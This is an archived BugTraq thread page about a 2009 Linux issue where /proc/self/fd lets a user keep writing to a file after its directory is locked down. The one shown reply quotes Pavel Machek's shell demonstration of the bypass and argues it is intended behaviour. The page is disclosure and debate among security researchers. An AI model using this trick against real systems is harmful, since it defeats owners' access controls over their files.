BugTraq
/proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 05:16PM
Pavel Machek (pavel ucw cz) (4 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 04:01PM
Tony Finch (dot dotat at) (3 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 01:06PM
Pavel Machek (pavel ucw cz)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 10:48PM
Matthew Dempsky (matthew dempsky org) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 11:29AM
Tony Finch (dot dotat at) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 08:39PM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 28 2009 10:31PM
Glynn Clements (glynn gclements plus com)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 04:59PM
Matthew Dempsky (matthew dempsky org)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 25 2009 10:13AM
Pavel Kankovsky (peak argo troja mff cuni cz)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 24 2009 01:55AM
Daryl Tester (dt-bugtraq handcraftedcomputers com au)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 07:57PM
Dan Yefimov (dan lightwave net ru) (2 replies)
On 23.10.2009 21:16, Pavel Machek wrote:
> Hi!
>
> This is forward from lkml, so no, I did not invent this
> hole. Unfortunately, I do not think lkml sees this as a security hole,
> so...
>
> Jamie Lokier said:
>>>> a) the current permission model under /proc/PID/fd has a security
>>>> hole (which Jamie is worried about)
>>>
>>> I believe its bugtraq time. Being able to reopen file with additional
>>> permissions looks like a security problem...
>>>
>>> Jamie, do you have some test script? And do you want your 15 minutes
>>> of bugtraq fame? ;-).
>
>> The reopen does check the inode permission, but it does not require
>> you have any reachable path to the file. Someone _might_ use that as
>> a traditional unix security mechanism, but if so it's probably quite rare.
>
> Ok, I got this, with two users. I guess it is real (but obscure)
> security hole.
>
> So, we have this scenario. pavel/root is not doing anything interesting in
> the background.
>
> pavel@toy:/tmp$ uname -a
> Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
> pavel@toy:/tmp mkdir my_priv; cd my_priv
> pavel@toy:/tmp/my_priv$ echo this file should never be writable> unwritable_file
> # lock down directory
> pavel@toy:/tmp/my_priv$ chmod 700 .
> # relax file permissions, directory is private, so this is safe
> # check link count on unwritable_file. We would not want someone
> # to have a hard link to work around our permissions, would we?
> pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file
> pavel@toy:/tmp/my_priv$ cat unwritable_file
> this file should never be writable
> pavel@toy:/tmp/my_priv$ cat unwritable_file
> got you
> # Security problem here
>
> [Please pause here for a while before reading how guest did it.]
>
> Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.
>
> So what did happen? User guest was able to work around directory
> permissions in the background, using /proc filesystem.
>
> guest@toy:~$ bash 3< /tmp/my_priv/unwritable_file
> # Running inside nested shell
> guest@toy:~$ read A<&3
> guest@toy:~$ echo $A
> this file should never be writable
>
> guest@toy:~$ cd /tmp/my_priv
> guest@toy:/tmp/my_priv$ ls
> unwritable_file
>
> # pavel did chmod 000, chmod 666 here
> guest@toy:/tmp/my_priv$ ls
> ls: cannot open directory .: Permission denied
>
> # Linux correctly prevents guest from writing to that file
> guest@toy:/tmp/my_priv$ cat unwritable_file
> cat: unwritable_file: Permission denied
> guest@toy:/tmp/my_priv$ echo got you>&3
> bash: echo: write error: Bad file descriptor
>
> # ...until we take a way around it with /proc filesystem. Oops.
> guest@toy:/tmp/my_priv$ echo got you> /proc/self/fd/3
>
That can hardly be called a real security hole, since the behaviour described
above is expected, and is as it was conceived by design. If the file owner in
fact allows writing to it, why should Linux prevent that from happening?
--

Sincerely Your, Dan.

[ reply ]
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 24 2009 06:46AM
Derek Martin (code pizzashack org) (1 replies)
Re: /proc filesystem allows bypassing directory permissions onLinux Oct 26 2009 06:37PM
Ansgar Wiechers (bugtraq planetcobalt net) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 08:34PM
Derek Martin (code pizzashack org) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 09:08PM
Pavel Machek (pavel ucw cz) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 11:47PM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 24 2009 07:02PM
Pavel Machek (pavel ucw cz) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 25 2009 12:40AM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 10:42AM
Dan Yefimov (dan lightwave net ru)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 09:24PM
Dan Yefimov (dan lightwave net ru) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 09:56PM
Pavel Machek (pavel ucw cz) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 06:14PM
Joel Maslak (jmaslak antelope net)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 23 2009 10:31PM
Dan Yefimov (dan lightwave net ru) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 26 2009 04:14PM
Stephen Harris (bugtraq spuddy org) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 11:04AM
Vincent Zweije vincent+bugtraq (at) sense.xs4all (dot) nl [email concealed] (vincent+bugtraq sense xs4all nl) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 27 2009 05:09PM
Dan Yefimov (dan lightwave net ru) (3 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 28 2009 09:27PM
Pavel Machek (pavel ucw cz) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 29 2009 03:24PM
Dan Yefimov (dan lightwave net ru) (1 replies)
Re: /proc filesystem allows bypassing directory permissions onLinux Oct 29 2009 07:20PM
Pavel Machek (pavel ucw cz) (1 replies)
Re: /proc filesystem allows bypassing directory permissions onLinux Oct 29 2009 08:10PM
Jim Paris (jim jtan com) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 30 2009 05:57PM
Marco Verschuur (marco osp nl)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 30 2009 05:22PM
Marco Verschuur (marco osp nl) (2 replies)
Re: /proc filesystem allows bypassing directory permissions onLinux Oct 30 2009 05:40PM
Jim Paris (jim jtan com) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 02 2009 05:53PM
Martin Rex (Martin Rex sap com) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 02 2009 07:53PM
Pavel Machek (pavel ucw cz) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 02 2009 08:56PM
Gabor Gombas (gombasg sztaki hu) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 02 2009 11:33PM
Martin Rex (Martin Rex sap com) (3 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 08:29PM
Pavel Kankovsky (peak argo troja mff cuni cz)
Re: /proc filesystem allows bypassing directory permissions on Nov 03 2009 01:06PM
Dan Yefimov (dan lightwave net ru)
Re: /proc filesystem allows bypassing directory permissions on Nov 03 2009 09:32AM
Gabor Gombas (gombasg sztaki hu) (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 03 2009 11:17PM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 08:06AM
Gabor Gombas (gombasg sztaki hu) (3 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 10:15AM
psz maths usyd edu au (1 replies)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 11:40AM
Gabor Gombas (gombasg sztaki hu)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 08:32AM
Pavel Machek (pavel ucw cz)
Re: /proc filesystem allows bypassing directory permissions on Nov 04 2009 08:31AM
Pavel Machek (pavel ucw cz)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 30 2009 05:38PM
Pavel Machek (pavel ucw cz) (2 replies)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 30 2009 06:27PM
Marco Verschuur (marco osp nl)
Re: /proc filesystem allows bypassing directory permissions on Linux Oct 28 2009 08:28PM
Vincent Zweije (vzweije zweije nl)


 

Privacy Statement
Copyright 2010, SecurityFocus